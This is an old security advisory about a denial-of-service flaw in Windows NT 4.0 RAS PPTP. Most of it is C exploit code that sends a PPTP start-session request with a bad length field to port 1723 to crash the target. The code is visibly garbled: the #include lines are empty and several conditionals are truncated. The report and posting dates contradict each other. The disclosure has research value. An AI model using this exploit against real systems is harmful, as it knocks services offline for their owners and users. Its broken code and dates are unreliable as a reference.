Windows NT RAS PPTP Denial of Service

Reported November 26, 1997by Kevin Wormington

Systems Affected

Windows NT 4.0, RAS using PPTP Tunneling Protocol

Description

I discovered that NT 4.0 w/SP3 and RAS PPTP is vulnerable to a DOS causing core dump. I have been working with point to point tunnelling protocol and discovered (by accident) that if you send a pptp start session request with an invalid packet length in the pptp packet header that it will crash an NT box.

Demonstration Code:

Here is a very crude code fragment that will exploit this behaviour:

/*
* Sample Windoze NT RAS PPTP exploit
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define PPTP_MAGIC_COOKIE 0x1a2b3c4d
#define PPTP_CONTROL_HEADER_OFFSET 8
#define PPTP_REQUEST_OFFSET 12
typedef enum \{
PPTP_CONTROL_PACKET = 1,
PPTP_MGMT_PACKET\} PptpPacketType;
typedef enum \{
PPTP_START_SESSION_REQUEST = 1,
PPTP_START_SESSION_REPLY,
PPTP_STOP_SESSION_REQUEST,
PPTP_STOP_SESSION_REPLY,
PPTP_ECHO_REQUEST,
PPTP_ECHO_REPLY,
PPTP_OUT_CALL_REQUEST,
PPTP_OUT_CALL_REPLY,
PPTP_IN_CALL_REQUEST,
PPTP_IN_CALL_REPLY,
PPTP_IN_CALL_CONNECTED,
PPTP_CALL_CLEAR_REQUEST,
PPTP_CALL_DISCONNECT_NOTIFY,
PPTP_WAN_ERROR_NOTIFY,
PPTP_SET_LINK_INFO,
PPTP_NUMBER_OF_CONTROL_MESSAGES\} PptpControlMessageType;

typedef struct \{
u_short packetLength;
u_short packetType;
u_long magicCookie;\} PptpPacketHeader;
typedef struct \{
u_short messageType;
u_short reserved;
\} PptpControlHeader;
typedef struct \{
u_long identNumber;\} PptpEchoRequest;
typedef enum \{
PPTP_ECHO_OK = 1,
PPTP_ECHO_GENERAL_ERROR\} PptpEchoReplyResultCode;
typedef struct \{
u_long identNumber;
u_char resultCode;
u_char generalErrorCode;
u_short reserved;\} PptpEchoReply;
#define PPTP_FRAME_CAP_ASYNC 0x00000001L
#define PPTP_FRAME_CAP_SYNC 0x00000002L
#define PPTP_BEARER_CAP_ANALOG 0x00000001L
#define PPTP_BEARER_CAP_DIGITAL 0x00000002L
typedef struct \{
u_short protocolVersion;
u_char reserved1;
u_char reserved2;
u_long framingCapability;
u_long bearerCapability;
u_short maxChannels;
u_short firmwareRevision;
char hostName\[64\];
char vendorString\[64\];\} PptpStartSessionRequest;
int pptp_start_session (int);
int main(int argc, char **argv)
\{
int pptp_sock, i, s, offset;
u_long src_ip, dst_ip = 0;
struct in_addr addr;
struct sockaddr_in sn;
struct hostent *hp;
struct servent *sp;
fd_set ctl_mask;
char buf\[2048\];
if((pptp_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) \{
perror("tcp socket");
exit(1);
\}
sp = getservbyname("pptp", "tcp"); /* port 1723 */
if (!sp)
\{
fprintf(stderr, "pptp: tcp/pptp: unknown service\n");
exit(1);
\}
hp = gethostbyname(argv\[1\]);
if (!hp) \{ fprintf (stderr, "Address no good.\n"); exit(1); \}

memset(&sn, 0, sizeof(sn));
sn.sin_port = sp->s_port;
sn.sin_family = hp->h_addrtype;
if (hp->h_length > (int)sizeof(sn.sin_addr))
\{
hp->h_length = sizeof(sn.sin_addr);
\}
memcpy(&sn.sin_addr, hp->h_addr, hp->h_length);
if (connect(pptp_sock, (struct sockaddr *)&sn, sizeof(sn)) \{
perror("pptp: can"t connect");
close(s);
exit(1);
\}
pptp_start_session(pptp_sock);
fprintf(stderr, "Done\n");
close(pptp_sock);
return (0);
\}
int pptp_start_session (int sock)
\{
PptpPacketHeader packetheader;
PptpControlHeader controlheader;
PptpStartSessionRequest sessionrequest;
char packet\[200\];
int offset;
packetheader.packetLength = htons (20); /* whoops, i forgot to change it
*/
packetheader.packetType = htons(PPTP_CONTROL_PACKET);
packetheader.magicCookie = htonl(PPTP_MAGIC_COOKIE);
controlheader.messageType = htons(PPTP_START_SESSION_REQUEST);
controlheader.reserved = 0;
sessionrequest.protocolVersion = htons(1);
sessionrequest.reserved1 = 0;
sessionrequest.reserved2 = 0;
sessionrequest.framingCapability = htonl(PPTP_FRAME_CAP_ASYNC);
sessionrequest.bearerCapability = htonl(PPTP_BEARER_CAP_ANALOG);
sessionrequest.maxChannels = htons(32);
sessionrequest.firmwareRevision = htons(1);
memset(&sessionrequest.hostName, 0, sizeof (sessionrequest.hostName));
sprintf (sessionrequest.hostName, "%s", "mypc.anywhere.com");
memset(&sessionrequest.vendorString, 0, sizeof
(sessionrequest.vendorString));
sprintf (sessionrequest.vendorString, "%s", "Any Vendor");
memset(&packet, 0, sizeof(packet));
memcpy(&packet, &packetheader, sizeof(packetheader));
memcpy(&packet\[PPTP_CONTROL_HEADER_OFFSET\], &controlheader,
sizeof(controlheader));
memcpy(&packet\[PPTP_REQUEST_OFFSET\], &sessionrequest,
sizeof(sessionrequest));
send (sock, &packet, 156, 0);
return (0);
\}

Microsoft"s Response:

Unknown at this time

To learn more about new NT security concerns, subscribe to NTSD.

Credit:
Reported by:Kevin Wormington
Posted here at NTSecurity.Net February 15, 1997